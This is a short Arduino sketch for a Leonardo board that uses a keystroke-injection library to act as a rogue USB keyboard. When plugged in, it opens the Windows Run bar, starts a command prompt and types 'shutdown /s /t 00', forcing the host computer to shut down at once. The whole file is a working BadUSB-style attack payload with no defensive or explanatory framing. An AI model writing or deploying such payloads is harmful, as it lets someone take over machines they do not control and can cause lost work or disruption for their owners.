15 lines
218 B
Arduino
15 lines
218 B
Arduino
|
#include <phukdlib_leonardo.h>
|
||
|
#define kbd_es_es
|
||
|
|
||
|
void setup() {
|
||
|
Keyboard.begin();
|
||
|
}
|
||
|
|
||
|
void loop() {
|
||
|
delay(5000);
|
||
|
CommandAtRunBarMSWIN("cmd");
|
||
|
delay(3000);
|
||
|
Keyboard.println("shutdown /s /t 00");
|
||
|
while(1);
|
||
|
}
|